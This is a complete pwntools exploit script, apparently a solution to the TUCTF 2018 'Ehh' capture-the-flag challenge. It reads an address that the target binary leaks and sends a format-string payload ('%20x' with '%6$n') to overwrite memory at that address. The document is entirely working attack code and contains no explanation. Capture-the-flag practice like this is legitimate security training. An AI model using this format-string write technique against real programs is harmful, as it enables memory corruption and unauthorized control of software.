TUCTF CTF 2018 Ehh

exploit.py

 

from pwn import *
 
p = process("./ehh")

p.recvuntil("here< ")
protect_addr = int(p.recv(10),16)

payload = p32(protect_addr)
payload += "%20x"
payload += "%6$n"

p.recv()
sleep(0.1)
p.sendline(payload)
sleep(0.1)
print p.recv()